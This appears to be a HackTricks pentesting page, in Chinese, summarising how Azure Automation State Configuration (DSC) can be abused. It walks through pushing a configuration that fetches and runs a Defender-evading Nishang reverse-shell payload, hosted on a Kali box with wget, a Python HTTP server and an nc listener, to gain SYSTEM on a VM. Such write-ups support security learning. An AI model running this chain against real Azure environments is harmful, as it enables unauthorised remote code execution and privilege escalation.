Az - State Configuration RCE

支持 HackTricks

查看完整帖子: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

远程服务器 (C2) 基础设施准备和步骤概述

概述

该过程涉及设置远程服务器基础设施,以托管一个修改过的 Nishang Invoke-PowerShellTcp.ps1 有效载荷,命名为 RevPS.ps1,旨在绕过 Windows Defender。该有效载荷从 IP 为 40.84.7.74 的 Kali Linux 机器上通过简单的 Python HTTP 服务器提供。操作通过几个步骤执行:

步骤 1 — 创建文件

  • 所需文件: 需要两个 PowerShell 脚本:

  1. reverse_shell_config.ps1:一个获取并执行有效载荷的期望状态配置 (DSC) 文件。可以从 GitHub 获取。

  2. push_reverse_shell_config.ps1:一个将配置发布到虚拟机的脚本,位于 GitHub

  • 定制: 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。

步骤 2 — 压缩配置文件

  • reverse_shell_config.ps1 压缩为 .zip 文件,以便准备传输到 Azure 存储帐户。

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Step 3 — 设置存储上下文并上传

  • 压缩的配置文件使用 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Step 4 — 准备 Kali Box

  • Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • 脚本被编辑以指定目标 Windows 虚拟机和反向 shell 的端口。

Step 5 — Publish Configuration File

  • 配置文件被执行,导致反向 shell 脚本被部署到 Windows 虚拟机的指定位置。

Step 6 — Host Payload and Setup Listener

  • 启动一个 Python SimpleHTTPServer 来托管有效负载,并设置一个 Netcat 监听器以捕获传入连接。

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • 计划任务执行有效载荷,获得SYSTEM级别的权限。

结论

该过程的成功执行为进一步的操作打开了众多可能性,例如凭证转储或将攻击扩展到多个虚拟机。该指南鼓励在Azure Automation DSC领域继续学习和创造。

支持HackTricks

Last updated